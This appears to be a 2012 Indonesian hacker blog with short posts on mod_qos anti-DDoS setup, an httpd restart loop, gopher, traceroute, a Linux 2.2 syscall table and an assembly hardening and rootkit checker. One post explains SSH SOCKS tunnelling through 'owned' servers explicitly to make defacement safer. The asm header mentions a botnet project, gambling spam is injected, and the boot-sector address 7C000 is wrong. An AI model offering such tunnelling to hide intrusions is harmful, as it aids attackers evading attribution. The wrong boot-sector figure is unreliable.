Saving to: `mod_qos-10.2.tar.gz'

100%[==================================================================================================================>] 427,678      698K/s   in 0.6s

2012-02-27 05:33:40 (698 KB/s) - `mod_qos-10.2.tar.gz' saved [427678/427678]
=======================

lakukan uekstrak dengan gagah berani:
==============
root@server [~/anti_ddos]# tar zxvf mod_qos-10.2.tar.gz
mod_qos-10.2/
mod_qos-10.2/doc/
mod_qos-10.2/doc/qstail.1.html
mod_qos-10.2/doc/favicon.ico
mod_qos-10.2/doc/CHANGES.txt
mod_qos-10.2/doc/mod_qos_s.gif
mod_qos-10.2/doc/qsgrep.1.html
mod_qos-10.2/doc/mod_qos_seq.gif
mod_qos-10.2/doc/qslog.1.html
mod_qos-10.2/doc/index.html
mod_qos-10.2/doc/qsfilter2_process.gif
mod_qos-10.2/doc/qspng.1.html
mod_qos-10.2/doc/qsexec.1.html
mod_qos-10.2/doc/qsfilter2.1.html
mod_qos-10.2/doc/LICENSE.txt
mod_qos-10.2/doc/qssign.1.html
mod_qos-10.2/doc/qsrotate.1.html
mod_qos-10.2/doc/qsgeo.1.html
mod_qos-10.2/doc/nevis.gif
mod_qos-10.2/tools/
mod_qos-10.2/tools/depcomp
mod_qos-10.2/tools/Makefile.in
mod_qos-10.2/tools/configure.ac
mod_qos-10.2/tools/configure
mod_qos-10.2/tools/config.h.in
mod_qos-10.2/tools/src/
mod_qos-10.2/tools/src/Makefile.in
mod_qos-10.2/tools/src/qscheck.c
mod_qos-10.2/tools/src/qsrotate.c
mod_qos-10.2/tools/src/char.h
mod_qos-10.2/tools/src/qssign.c
mod_qos-10.2/tools/src/qsgeo.c
mod_qos-10.2/tools/src/Makefile.am
mod_qos-10.2/tools/src/qspng.c
mod_qos-10.2/tools/src/qsgrep.c
mod_qos-10.2/tools/src/qstail.c
mod_qos-10.2/tools/src/qs_util.c
mod_qos-10.2/tools/src/qsfilter2.c
mod_qos-10.2/tools/src/qs_util.h
mod_qos-10.2/tools/src/qslog.c
mod_qos-10.2/tools/src/qsexec.c
mod_qos-10.2/tools/Makefile.am
mod_qos-10.2/tools/install-sh
mod_qos-10.2/tools/missing
mod_qos-10.2/tools/man1/
mod_qos-10.2/tools/man1/qsexec.1
mod_qos-10.2/tools/man1/qsfilter2.1
mod_qos-10.2/tools/man1/qsgrep.1
mod_qos-10.2/tools/man1/qstail.1
mod_qos-10.2/tools/man1/qsrotate.1
mod_qos-10.2/tools/man1/qslog.1
mod_qos-10.2/tools/man1/qsgeo.1
mod_qos-10.2/tools/man1/qssign.1
mod_qos-10.2/tools/man1/qspng.1
mod_qos-10.2/apache2/
mod_qos-10.2/apache2/Makefile.in
mod_qos-10.2/apache2/mod_qos.c
mod_qos-10.2/apache2/config.m4
mod_qos-10.2/apache2/mod_qos.h
mod_qos-10.2/README.TXT
root@server [~/anti_ddos]
==============

ke direeeekkktorrriii mod_qos-10.2/apache2 oye
====
root@server [~/anti_ddos]# cd mod_qos-10.2/apache2
========

cek apxs kita oye:
===========
root@server [~/anti_ddos/mod_qos-10.2/apache2]# apxs
Usage: apxs -g [-S <var>=<val>] -n <modname>
       apxs -q [-S <var>=<val>] <query> ...
       apxs -c [-S <var>=<val>] [-o <dsofile>] [-D <name>[=<value>]]
               [-I <incdir>] [-L <libdir>] [-l <libname>] [-Wc,<flags>]
               [-Wl,<flags>] [-p] <files> ...
       apxs -i [-S <var>=<val>] [-a] [-A] [-n <modname>] <dsofile> ...
       apxs -e [-S <var>=<val>] [-a] [-A] [-n <modname>] <dsofile> ...
================

lalu kompile dg cepat , lincah dan gagah berani:
==============
root@server [~/anti_ddos/mod_qos-10.2/apache2]# apxs -i -c mod_qos.c
/usr/local/apache/build/libtool --silent --mode=compile gcc -prefer-pic -m64 -fPIC -DPIC -DLINUX=2 -D_REENTRANT -D_GNU_SOURCE -m64 -fPIC -DPIC -pthread -I/opt/pcre/include -I/usr/local/apache/include -I/usr/local/apache/include   -I/usr/local/apache/include   -c -o mod_qos.lo mod_qos.c && touch mod_qos.slo
/usr/local/apache/build/libtool --silent --mode=link gcc -o mod_qos.la -rpath /usr/local/apache/modules -module -avoid-version    mod_qos.lo
/usr/local/apache/build/instdso.sh SH_LIBTOOL='/usr/local/apache/build/libtool' mod_qos.la /usr/local/apache/modules
/usr/local/apache/build/libtool --mode=install cp mod_qos.la /usr/local/apache/modules/
cp .libs/mod_qos.so /usr/local/apache/modules/mod_qos.so
cp .libs/mod_qos.lai /usr/local/apache/modules/mod_qos.la
cp .libs/mod_qos.a /usr/local/apache/modules/mod_qos.a
chmod 644 /usr/local/apache/modules/mod_qos.a
ranlib /usr/local/apache/modules/mod_qos.a
PATH="$PATH:/sbin" ldconfig -n /usr/local/apache/modules
----------------------------------------------------------------------
Libraries have been installed in:
   /usr/local/apache/modules

If you ever happen to want to link against installed libraries
in a given directory, LIBDIR, you must either use libtool, and
specify the full pathname of the library, or use the `-LLIBDIR'
flag during linking and do at least one of the following:
   - add LIBDIR to the `LD_LIBRARY_PATH' environment variable
     during execution
   - add LIBDIR to the `LD_RUN_PATH' environment variable
     during linking
   - use the `-Wl,--rpath -Wl,LIBDIR' linker flag
   - have your system administrator add LIBDIR to `/etc/ld.so.conf'

See any operating system documentation about shared libraries for
more information, such as the ld(1) and ld.so(8) manual pages.
----------------------------------------------------------------------
chmod 755 /usr/local/apache/modules/mod_qos.so
root@server [~/anti_ddos/mod_qos-10.2/apache2]#
=================

ok selanjutnya kita teh liat apa sudah ada modulenya:
===========
root@server [/usr/local/apache/modules]# ls | grep mod_qos
mod_qos.so*
===========

lalu teh tinggal bikin qos.conf di direktori /usr/local/apache/modules :
=====
## QoS Settings

# handles connections from up to 100000 different IPs
QS_ClientEntries 100000
# will allow only 50 connections per IP
QS_SrvMaxConnPerIP 50
# maximum number of active TCP connections is limited to 256
MaxClients 256
# disables keep-alive when 70% of the TCP connections are occupied:
QS_SrvMaxConnClose 180
# minimum request/response speed (deny slow clients blocking the server, ie. slowloris keeping connections open without requesting anything):
QS_SrvMinDataRate 150 1200
# and limit request header and body (carefull, that limits uploads and post requests too):
# LimitRequestFields 30
# QS_LimitRequestBody 102400
===================

cekidot jika dah siap:
=============================
root@server [/usr/local/apache/modules]# ls | grep qos
mod_qos.so*
qos.conf
qos.load
================

selanjutnya sangaut sangaut gampeeeuuung tinggeul tambahin sikit ja kode buat load module di httpd.conf:
==========
LoadModule qos_module /usr/local/apache/modules/mod_qos.so
===========

sesuaikeun dengan path mod qos ente

selanjutnya restart httpd:
====
root@server [/usr/local/apache/modules]# /etc/init.d/httpd restart
=================================================

dan selesai

3 baris kode buatan syadmin pemalas untuk ngerjain orang

2012-02-27T00:43:00.001-08:00

bagi anda2 sysadmin yang make apache dan males dan mao bersantai2 , males nginstall aneka mod proteksi untuk proteksi ddos, berikut ini adaeluh 3 baeries koeeede buat ngerjaaaaieeen orang yg lagi ddos:

cekidot i love the movit movit 3 baris kode ala sysadmin pemalas buat sante2:
====
defined(my $pid = fork);        if ($pid)     {   exit;   }
for(;;)   { system("/etc/init.d/./httpd stop");     sleep 1;     system("/etc/init.d/./httpd start");     system("/etc/init.d/./httpd start"); sleep 25;    }
===================

keteeearranegeeeeuun:
baris partama teh:
defined(my $pid = fork);        if ($pid)     {   exit;   }

baris kadua:
for(;;)   { system("/etc/init.d/./httpd stop");     sleep 1;     system("/etc/init.d/./httpd

bariees ketitttgueaaa
start");     system("/etc/init.d/./httpd start"); sleep 25;    }

gaaampeeeung bet cuy ga pake mod apa2 ga pake firewooll ga pake eeelllkaaaaeeemmm dah bisa isenggg1n orraaang

sekilas tentang model memori dengan segmen dan offset

2012-02-26T12:58:00.003-08:00

pada model memori dg segmen dan offset misal: 1A42:38A7,
1A42 adl alamat segmen dan 38a7 adl alamat offset, alamat absolutnya adalah : 1dcc7 didapat dari (1A42 * 10)+38a7=1dcc7

sekilas tentang boot sector

2012-02-26T12:58:00.000-08:00

tiap disk memiliki sec,cyl dan hds, blok 0=gabungan dari sector 1, cylinder 0 dan head 0 (1,0,0), blok 1 = gabungan dari sector 2, cylinder 0 dan head 0 (2,0,0) , saat sistem reset bios melakukan pengecekan pada blok 0 (1,0,0) dengan alamat memori absolut 7C000

[Cara Ngakses Gopher dari Console Linux]

2012-02-25T12:42:00.000-08:00

[Cara Ngakses Gopher dari Console Linux]

by: ev1lut10n

Dedicated to :"Manusia Biasa Team"
thanks to: Manusia Biasa Team, Devilzc0de Crew and Antijasakom
kembali lagi dengan permainan 2 kita kali ini kita akan mencoba mengakses gopher dari konsole linux kite.
gimana caranya ? dengan menggunakan gopher client.

Apa sih gopher itu? gopher adalah protokol yang dikembangkan sekitar tahun 91 an sbg alternatif untuk http protokol.

contoh gopher:
gopher://sdf.org/1/users/wisdomc0

cara mengakses gopher bisa dengan telnet ke server gopher di port 70 atau yang paling enak pake gopher client

ketikkan dari console:
====
sudo apt-get install gopher
====

jika sudah berhasil cekidot:
======================================
root@ev1lut10n-Vostro1310:~/backupan_g# gopher -h
gopher: invalid option -- 'h'
Usage: gopher [-sSbDr] [-T type] [-p path] [-t title] [hostname port]+
     -s      secure mode, users without own account
     -S      secure mode, users with own account
     -p path specify path to initial item
     -T type Type of initial item
     -i      Search argument (for -T 7)
     -b      Bookmarks first
     -r      Remote user
     -D      Debug mode
root@ev1lut10n-Vostro1310:~/backupan_g# gopher ?
Welcome to the wonderful world of Gopher!

Gopher has limitations on its use and comes without
a warranty. Please refer to the file 'Copyright' included
in the distribution.

Internet Gopher Information Client 3.0 patch12 (FurryTerror)
Copyright (C) 1991-2000 by the Regents of the University of Minnesota
Copyright (C) 2000-2005 John Goerzen and the gopher developers

Press RETURN to continue
=====================================

nah jika pake gopher client yang dari konsole
tinggal ketik dari konsole :

gopher gopher://alamat_ip_atau_hostname_server_gopher

misalnya ketikkan:
============
gopher gopher://sdf.org/1/users/wisdomc0
============

jika sudah berhasil kita bisa mengakses gophernya seperti gambar di bawah ini:

agen bola sbobet
agen bola sbobet
agen bola sbobet
agen bola sbobet
agen bola sbobet
agen bola sbobet

Mengetahui Berapa Banyak Router dari Server kita ke google.com

2012-02-25T12:08:00.000-08:00

Mengetahui Berapa Banyak Router dari Server kita ke google.com

by: ev1lut10n

artikel ini khusus dipersembahkan untuk: "Manusia Biasa Team"
dedicated for : "Manusia Biasa Team"
thanks to all: Manusia Biasa Team , devilzc0de , antijasakom

1 hop dalam jaringan bisa kita artikeun sebagai 1 router yang kita bablasin. tool depault di linux untuk kita bisa ngeliatin router2 misala
dari server kita ke google, kita teh bisa pake tool yang namanya "traceroute"

contoh di mari:

nah di atas kita bisa liat sabaraha teh router2 yang udah dilewatin paket kita

==========================
sh-3.2# traceroute google.com
traceroute to google.com (74.125.230.238), 30 hops max, 40 byte packets
1 81.15.18.254 (81.15.18.254) 0.542 ms 0.783 ms 1.100 ms
2 193-4-250-217.static.metronet.is (193.4.250.217) 2.071 ms 2.290 ms 2.420 ms
3 te1-1-E200-01-London.c.is (217.151.190.90) 41.287 ms 41.514 ms 41.793 ms
4 74.125.50.161 (74.125.50.161) 44.766 ms 44.894 ms 45.271 ms
5 209.85.252.76 (209.85.252.76) 46.050 ms 209.85.255.175 (209.85.255.175) 46.578 ms 209.85.252.76 (209.85.252.76) 46.404 ms
6 209.85.253.196 (209.85.253.196) 46.285 ms 209.85.253.90 (209.85.253.90) 42.504 ms 40.204 ms
7 209.85.242.79 (209.85.242.79) 53.939 ms 53.198 ms 53.275 ms
8 209.85.242.51 (209.85.242.51) 49.556 ms 49.786 ms 50.106 ms
9 par08s10-in-f14.1e100.net (74.125.230.238) 52.487 ms 52.607 ms 52.837 ms
============================

cekidot di hop pertama teh gateway routernya kita:

1 81.15.18.254

hop selanjutnya ke router dg alamat ip:

2. 193.4.250.217

dst sampe akhirnya

sampe di tujuan kita servernya om google:
===================
par08s10-in-f14.1e100.net (74.125.230.238)
==================

SSH tunneling di linux (socks) untuk proksi biar kegiatan deface2 lebih aman

2012-02-25T06:10:00.000-08:00

SSH tunneling di linux (socks) untuk proksi biar kegiatan deface2 lebih aman

oleh: ev1lut10n

especially dedicated for : "Manusia Biasa Team"
https://www.facebook.com/#!/groups/newmbt/
thanks: Raka, Doza, and all Manusia Biasa Team Members
and also thanks to: All Devilzc0de Crews and da Members

misi agan2 ane cupu baru nyoba2 nulis artikel tentang ssh tunneling di linux.

dengan ssh tunneling maka kita bisa menggunakan ssh server yang kita owned untuk socks (secure socket)
saat kita melakukan aksi deface2 an dan hacking.

tutorial ini ditujukan untuk pemula yang ingin belajar menggunakan ssh tunneling dari linux.
bagi yang udah tau tidak disarankan membaca tulisan ini

untuk melakukan ssh tunneling harus memiliki akun ssh yang permit tunnel
misal pada open ssh yang tidak permit tunnel di server:
#echo “PermitTunnel yes” >> /etc/ssh/sshd_config
#/etc/init.d/

lalu restart openssh:
============================
root@server [~]# /etc/init.d/sshd restart
Stopping sshd:                                             [ OK ]
Starting sshd:                                             [ OK ]
=============================

misal kita akan melakukan tunneling dengan memanfaatkan akun ssh , ketikkan:

ssh -D port_lokal_untuk_tunneling -l akun_login_ssh ip_atau_hostname_ssh_server

misal kita akan pakai port lokal 3339 utk tunneling:

misal (hanya contoh):
=======================================
ssh -D 3339 mysql@serverbuattunnel.org
mysql@lspr.edu's password:
Have a lot of fun...
sh-3.1#
====================================

jika berhasil maka akan listen di lokal port 3339:
========
root@ev1lut10n-Vostro1310:~/backupan_g# netstat -a | grep 3339
tcp        0      0 localhost.localdom:3339 *:*                     LISTEN
tcp6       0      0 ev1lut10n-Vostro13:3339 [::]:*                  LISTEN
========

selanjutnya untuk tunneling buka firefox dan pilih menu:
edit -> preferences -> advanced -> network -> setting -> pilih manual proxy configuration
lalu isikan sock v 5 dengan alamat localhost dan port 3339 (port yang tadi)
(untuk yang di windows menunya beda)

jika berhasil maka silahkan buka web ini dengan firefox agan2

http://whatismyip.org/

maka alamat ip agan 2 akan berganti menjadi alamat ip server yg agan pake buat tunneling.

sekian dan terima kasih

regards
ev1lut10n

merikenin.asm - Merikenin TCP/IP Stack Hardening and Basic Rootkit Checker version 1.0

2012-02-21T16:02:00.003-08:00

;gopher://sdf.org/0/users/wisdomc0/code_asm/merikenin.asm

;merikenin.asm - Merikenin TCP/IP Stack Hardening and Basic Rootkit Checker ;version 1.0
;The programmer : ev1lut10n
;dedicated to Merikenin
;thanks to : X-hack,Danzel,Superman,Cakill, nofia fitri,Dedy, Chaer, Paulus ;gandung,Tian,Zendy,Hendra, Wenkhairu and all my bro and friends
;current big project : "Making a linux botnet and windows botnet that can work ;synergy (my own idea)"
;website : http://www.jasaplus.com
;gopher://sdf.org/1/users/wisdomc0
section .bss
pilih_on_heap resb 6
file: resd 1
section .data
t00lname db ".::Merikenin TCP/IP Stack Hardening and Basic Rootkit Checker::.",13,10
pjg_t00lname equ $-t00lname
c0d3r db "c0der : ev1lut10n",13,10
pjg_c0d3r equ $-c0d3r
g0tr00t db "we got root access",13,10
pjg_g0tr00t equ $-g0tr00t
n0tr00t db "we dont have root priv,sorry y0u can not use this t00l baby",13,10
pjg_n0tr00t equ $-n0tr00t
;define jynx rootkit checker
jynx_ld_preload_poison_string db "ld_poison.so",0x00
jynx_ld_preload_so_path db "/etc/ld.so.preload",0x00
;define haxpath checker for kbeast lkm
_H4X_PATH_ db "/usr/_h4x_",0x00
;software menu
m3nu1 db "sys1 - Enable source validation by reversed path ",13,10
pjg_m3nu1 equ $-m3nu1
m3nu2 db "sys2 - Enable TCP Syn Cookies (protection against syn attack)",13,10
pjg_m3nu2 equ $-m3nu2
m3nu3 db "sys3 - Ignore ICMP Echo Broadcast Requests",13,10
pjg_m3nu3 equ $-m3nu3
b0nus db "Some bonuses functions :"
pjg_b0nus equ $-b0nus
m3nu5 db "rkc1 - Checking Possible Jynx LD_Preload Rootkit",13,10
pjg_m3nu5 equ $-m3nu5
m3nu6 db "rkc2 - Checking Possible Kernel Beast",13,10
pjg_m3nu6 equ $-m3nu6
m3nu7 db "quit - quit this t00l",13,10
pjg_m3nu7 equ $-m3nu7
;eof software menu
c0ns0l3 db "cmd:"
pjg_c0ns0l3 equ $-c0ns0l3
pilih db "%s", 0
teks_continue db "/etc/ld.so.preload found beware !",13,10
pjg_teks_continue equ $-teks_continue
teks_dont_continue db "No /etc/ld.so.preload found ! Seems like clean",13,10
pjg_teks_dont_continue equ $-teks_dont_continue

teks_continuex db "/usr/_h4x_ found ! You're being infected",13,10
pjg_teks_continuex equ $-teks_continuex
teks_dont_continuex db "No /usr/_h4x_ found ! Seems like clean",13,10
pjg_teks_dont_continuex equ $-teks_dont_continuex

section .text
global _start
_start:
;jmp _merikenin_sysc
jmp long _merikenin_start

;starting jynx rootkit checking routine
_merikenin_jynx:
push ebp
mov ebp,esp

   xor eax,eax
   xor ebx,ebx
   xor ecx,ecx
   xor edx,edx

call the_cek
mov ebx,jynx_ld_preload_so_path
int 0x80

mov dword [file],eax
cmp dword [file],0
jle dont_continue
je continue

mov esp,ebp
pop ebp

continue:
push ebp
mov ebp,esp

mov ecx,teks_continue
mov edx,pjg_teks_continue
call _merikenin_writeln
jmp long _merikenin_out
mov esp,ebp
pop ebp

dont_continue:
push ebp
mov ebp,esp

mov ecx,teks_dont_continue
mov edx,pjg_teks_dont_continue
call _merikenin_writeln
jmp long _merikenin_out
mov esp,ebp
pop ebp

the_cek:
push ebp
mov ebp,esp
mov eax,5
xor ecx,0
mov edx,0x100
mov esp,ebp
pop ebp
ret

;eof jynx rootkit checking

;start ipsecs kbeast checking
_merikenin_ipsecs:
push ebp
mov ebp,esp
   xor eax,eax
   xor ebx,ebx
   xor ecx,ecx
   xor edx,edx
call the_cek2
mov ebx,_H4X_PATH_
int 0x80
mov dword [file],eax
cmp dword [file],0
jle dont_continuex
je continuex

mov esp,ebp
pop ebp

continuex:
push ebp
mov ebp,esp
mov ecx,teks_continuex
mov edx,pjg_teks_continuex
call _merikenin_writeln
jmp long _merikenin_out
mov esp,ebp
pop ebp

dont_continuex:
push ebp
mov ebp,esp
mov ecx,teks_dont_continuex
mov edx,pjg_teks_dont_continuex
call _merikenin_writeln
jmp long _merikenin_out
mov esp,ebp
pop ebp

the_cek2:
push ebp
mov ebp,esp
mov eax,5
xor ecx,0
mov edx,0x100
mov esp,ebp
pop ebp
ret

;eof ipsecs kbeast checking

;getpriv.s
_merikenin_pr3p4r3_0pt:
    push ebx
        push esi
        push edi

_merikenin_get_privilege:
   push ebp
        mov ebp, esp
   mov eax, 18h
   push eax
        int 80h

   cmp al,0
   jz _merikenin_g0tr00t
   jmp _merikenin_n0tr00t
   mov esp, ebp
        pop ebp

;eof getpriv.s
_merikenin_g0tr00t:
   push ebp
        mov ebp, esp
   mov ecx,g0tr00t
   mov edx,pjg_g0tr00t
   call _merikenin_writeln
   mov esp, ebp
        pop ebp
   jmp _merikenin_jmpmania

_merikenin_n0tr00t:
   push ebp
   mov ebp,esp
   mov ecx,n0tr00t
   mov edx,pjg_n0tr00t
   call _merikenin_writeln
   mov esp,ebp
   pop ebp
   jmp _merikenin_out

_merikenin_writeln:
      push ebp
      mov ebp,esp
      mov ebx,0x1
      mov eax,0x4
      int 80h
   ;mov ah,09h
   ;mov dx,offset str1ng
   ;int 21h
       mov esp,ebp
       pop ebp
      ret

_merikenin_banner:
push ebp
mov ebp,esp
mov ecx,t00lname
mov edx,pjg_t00lname
call _merikenin_writeln

mov ecx,c0d3r
mov edx,pjg_c0d3r
call _merikenin_writeln
mov esp,ebp
pop ebp
ret

_merikenin_do:
   mov eax, 11
   int 80h
   ret

_merikenin_net.ipv4.icmp_echo_ignore_broadcasts_1:
   push ebp
        mov ebp, esp

   xor eax,eax
   xor ebx,ebx
   xor ecx,ecx
   xor edx,edx

   push   0xb
   pop    eax
   push   edx

   push 0x313d       ;=1
   push 0x73747361           ;stsa
   push 0x6364616f           ;cdao
   push 0x72625f65           ;rb_e
   push 0x726f6e67           ;rong
   push 0x695f6f68           ;i_oh
   push 0x63655f70           ;ce_p
   push 0x6d63692e           ;mci.
   push 0x34767069       ;4vpi
   push 0x2e74656e    ; .ten

   mov    esi,esp
   push   edx

   push   0x772d ;w-
   mov    ecx,esp

   push   edx
   push 0x6c746373
   push 0x79732f6e
   push 0x6962732f
   mov    ebx,esp

   push   edx
   push   esi
   push   ecx
   push   ebx
   mov    ecx,esp
   int    80h



   mov esp,ebp
   pop ebp
   jmp long _merikenin_out

_merikenin_net.ipv4.tcp_syncookies_1:
   push ebp
        mov ebp, esp

   xor eax,eax
   xor ebx,ebx
   xor ecx,ecx
   xor edx,edx

   push   0xb
   pop    eax
   push   edx

   push 0x2031       ;1
   push 0x3d736569       ;=sei
   push 0x6b6f6f63       ;kooc
   push 0x6e79735f       ;nys_
   push 0x7063742e       ;pct.
   push 0x34767069       ;4vpi
   push 0x2e74656e    ; .ten

   mov    esi,esp
   push   edx

   push   0x772d ;w-
   mov    ecx,esp

   push   edx
   push 0x6c746373
   push 0x79732f6e
   push 0x6962732f
   mov    ebx,esp

   push   edx
   push   esi
   push   ecx
   push   ebx
   mov    ecx,esp
   int    80h

   xor eax,eax
   xor ebx,ebx
   xor ecx,ecx
   xor edx,edx

   mov esp,ebp
   pop ebp
   jmp long _merikenin_out

_merikenin_sysctl_w_net.ipv4.conf.all.rp_filter_1:
   push ebp
        mov ebp, esp

   xor eax,eax
   xor ebx,ebx
   xor ecx,ecx
   xor edx,edx

   push   0xb
   pop    eax
   push   edx

   push 0x2031       ;1
   push 0x3d726574       ;=ret
   push 0x6c69665f       ;lif_
   push 0x70722e6c       ;pr.l
   push 0x6c612e66       ;la.f
   push 0x6e6f632e       ;noc.
   push 0x34767069       ;4vpi
   push 0x2e74656e    ; .ten


   mov    esi,esp
   push   edx

   push   0x772d ;w-
   mov    ecx,esp

   push   edx
   push 0x6c746373
   push 0x79732f6e
   push 0x6962732f
   mov    ebx,esp

   push   edx
   push   esi
   push   ecx
   push   ebx
   mov    ecx,esp
   int    80h

   xor eax,eax
   xor ebx,ebx
   xor ecx,ecx
   xor edx,edx
   mov esp,ebp
   pop ebp
   jmp long _merikenin_out


_merikenin_jmpmania:
   push ebp
        mov ebp, esp
   jmp _merikenin_start2
   mov esp,ebp
   pop ebp

_merikenin_start:
push ebp
mov ebp,esp
call (_merikenin_banner)
jmp _merikenin_pr3p4r3_0pt
mov esp,ebp
pop ebp

_merikenin_start2:
   push ebp
        mov ebp, esp


   mov ecx,m3nu1
   mov edx,pjg_m3nu1
   call (_merikenin_writeln)

   mov ecx,m3nu2
   mov edx,pjg_m3nu2
   call (_merikenin_writeln)

   mov ecx,m3nu3
   mov edx,pjg_m3nu3
   call (_merikenin_writeln)



   mov ecx,m3nu5
   mov edx,pjg_m3nu5
   call (_merikenin_writeln)

   mov ecx,m3nu6
   mov edx,pjg_m3nu6
   call (_merikenin_writeln)



   mov ecx,c0ns0l3
   mov edx,pjg_c0ns0l3
   call (_merikenin_writeln)

   mov eax,3
   mov ebx,0
   mov ecx,pilih_on_heap
   int    80h

   push eax


   xor eax,eax
   mov eax, dword [pilih_on_heap]

   cmp eax,'sys1'
   je _merikenin_sysctl_w_net.ipv4.conf.all.rp_filter_1

   cmp eax,'sys2'
   je _merikenin_net.ipv4.tcp_syncookies_1

   cmp eax,'sys3'
   je _merikenin_net.ipv4.icmp_echo_ignore_broadcasts_1


   cmp eax,'rkc1'
   je _merikenin_jynx

   cmp eax,'rkc2'
   je _merikenin_ipsecs

   jmp _merikenin_out
   mov esp,ebp
   pop ebp

_merikenin_out:
nop
mov eax,0x01
int 80h

sysctl -w net.ipv4.conf.all.rp_filter=1

2012-02-21T12:19:00.001-08:00

====
;sysctl -w net.ipv4.conf.all.rp_filter=1
;by:ev1lut10n
;dedicated to: Merikenin
;thanks to all my bro and friends
section .data
c0d3r db "sysctl -w net.ipv4.conf.all.rp_filter=1 , c0ded by ev1lut10n",13,10
pjg_c0d3r equ $-c0d3r

section .text
global _start:
_start:
    jmp _merikenin_start

_merikenin_writeln:
    push ebp
    mov ebp,esp
    mov ebx,0x1
    mov eax,0x4
    int 80h
    ;mov ah,09h
    ;mov dx,offset str1ng
    ;int 21h
     mov esp,ebp
       pop ebp
    ret

_merikenin_start:
    push ebp
        mov ebp, esp

    mov ecx,c0d3r
    mov edx,pjg_c0d3r
    call _merikenin_writeln

    xor eax,eax
    xor ebx,ebx
    xor ecx,ecx
    xor edx,edx

    push   0xb
    pop    eax
    push   edx

    push 0x2031        ;1
    push 0x3d726574        ;=ret
    push 0x6c69665f        ;lif_
    push 0x70722e6c        ;pr.l
    push 0x6c612e66        ;la.f
    push 0x6e6f632e        ;noc.
    push 0x34767069        ;4vpi
    push 0x2e74656e     ; .ten


    mov    esi,esp
    push   edx

    push   0x772d ;w-
    mov    ecx,esp

    push   edx
    push 0x6c746373
    push 0x79732f6e
    push 0x6962732f
    mov    ebx,esp

    push   edx
    push   esi
    push   ecx
    push   ebx
    mov    ecx,esp
    int    80h

    mov esp,ebp
    pop ebp

_getout:
    mov eax,0x1
    int 80h
======

kernel 2.2 syscall table for old hackers

2012-02-21T11:45:00.000-08:00

kernel 2.2 syscall table for old hackers

The following table lists the system calls for the Linux 2.2 kernel. It could also be thought of as an API for the interface between user space and kernel space. My motivation for making this table was to make programming in assembly language easier when using only system calls and not the C library (for more information on this topic, go to http://www.linuxassembly.org). On the left are the numbers of the system calls. This number will be put in register %eax. On the right of the table are the types of values to be put into the remaining registers before calling the software interrupt 'int 0x80'. After each syscall, an integer is returned in %eax.
For convenience, the kernel source file where each system call is located is linked to in the column labelled "Source". In order to use the hyperlinks, you must first copy this page to your own machine because the links take you directly to the source code on your system. You must have the kernel source installed (or linked from) under '/usr/src/linux' for this to work.

%eax	Name	Source	%ebx	%ecx	%edx	%esx	%edi
1	sys_exit	kernel/exit.c	int	-	-	-	-
2	sys_fork	arch/i386/kernel/process.c	struct pt_regs	-	-	-	-
3	sys_read	fs/read_write.c	unsigned int	char *	size_t	-	-
4	sys_write	fs/read_write.c	unsigned int	const char *	size_t	-	-
5	sys_open	fs/open.c	const char *	int	int	-	-
6	sys_close	fs/open.c	unsigned int	-	-	-	-
7	sys_waitpid	kernel/exit.c	pid_t	unsigned int *	int	-	-
8	sys_creat	fs/open.c	const char *	int	-	-	-
9	sys_link	fs/namei.c	const char *	const char *	-	-	-
10	sys_unlink	fs/namei.c	const char *	-	-	-	-
11	sys_execve	arch/i386/kernel/process.c	struct pt_regs	-	-	-	-
12	sys_chdir	fs/open.c	const char *	-	-	-	-
13	sys_time	kernel/time.c	int *	-	-	-	-
14	sys_mknod	fs/namei.c	const char *	int	dev_t	-	-
15	sys_chmod	fs/open.c	const char *	mode_t	-	-	-
16	sys_lchown	fs/open.c	const char *	uid_t	gid_t	-	-
18	sys_stat	fs/stat.c	char *	struct __old_kernel_stat *	-	-	-
19	sys_lseek	fs/read_write.c	unsigned int	off_t	unsigned int	-	-
20	sys_getpid	kernel/sched.c	-	-	-	-	-
21	sys_mount	fs/super.c	char *	char *	char *	-	-
22	sys_oldumount	fs/super.c	char *	-	-	-	-
23	sys_setuid	kernel/sys.c	uid_t	-	-	-	-
24	sys_getuid	kernel/sched.c	-	-	-	-	-
25	sys_stime	kernel/time.c	int *	-	-	-	-
26	sys_ptrace	arch/i386/kernel/ptrace.c	long	long	long	long	-
27	sys_alarm	kernel/sched.c	unsigned int	-	-	-	-
28	sys_fstat	fs/stat.c	unsigned int	struct __old_kernel_stat *	-	-	-
29	sys_pause	arch/i386/kernel/sys_i386.c	-	-	-	-	-
30	sys_utime	fs/open.c	char *	struct utimbuf *	-	-	-
33	sys_access	fs/open.c	const char *	int	-	-	-
34	sys_nice	kernel/sched.c	int	-	-	-	-
36	sys_sync	fs/buffer.c	-	-	-	-	-
37	sys_kill	kernel/signal.c	int	int	-	-	-
38	sys_rename	fs/namei.c	const char *	const char *	-	-	-
39	sys_mkdir	fs/namei.c	const char *	int	-	-	-
40	sys_rmdir	fs/namei.c	const char *	-	-	-	-
41	sys_dup	fs/fcntl.c	unsigned int	-	-	-	-
42	sys_pipe	arch/i386/kernel/sys_i386.c	unsigned long *	-	-	-	-
43	sys_times	kernel/sys.c	struct tms *	-	-	-	-
45	sys_brk	mm/mmap.c	unsigned long	-	-	-	-
46	sys_setgid	kernel/sys.c	gid_t	-	-	-	-
47	sys_getgid	kernel/sched.c	-	-	-	-	-
48	sys_signal	kernel/signal.c	int	__sighandler_t	-	-	-
49	sys_geteuid	kernel/sched.c	-	-	-	-	-
50	sys_getegid	kernel/sched.c	-	-	-	-	-
51	sys_acct	kernel/acct.c	const char *	-	-	-	-
52	sys_umount	fs/super.c	char *	int	-	-	-
54	sys_ioctl	fs/ioctl.c	unsigned int	unsigned int	unsigned long	-	-
55	sys_fcntl	fs/fcntl.c	unsigned int	unsigned int	unsigned long	-	-
57	sys_setpgid	kernel/sys.c	pid_t	pid_t	-	-	-
59	sys_olduname	arch/i386/kernel/sys_i386.c	struct oldold_utsname *	-	-	-	-
60	sys_umask	kernel/sys.c	int	-	-	-	-
61	sys_chroot	fs/open.c	const char *	-	-	-	-
62	sys_ustat	fs/super.c	dev_t	struct ustat *	-	-	-
63	sys_dup2	fs/fcntl.c	unsigned int	unsigned int	-	-	-
64	sys_getppid	kernel/sched.c	-	-	-	-	-
65	sys_getpgrp	kernel/sys.c	-	-	-	-	-
66	sys_setsid	kernel/sys.c	-	-	-	-	-
67	sys_sigaction	arch/i386/kernel/signal.c	int	const struct old_sigaction *	struct old_sigaction *	-	-
68	sys_sgetmask	kernel/signal.c	-	-	-	-	-
69	sys_ssetmask	kernel/signal.c	int	-	-	-	-
70	sys_setreuid	kernel/sys.c	uid_t	uid_t	-	-	-
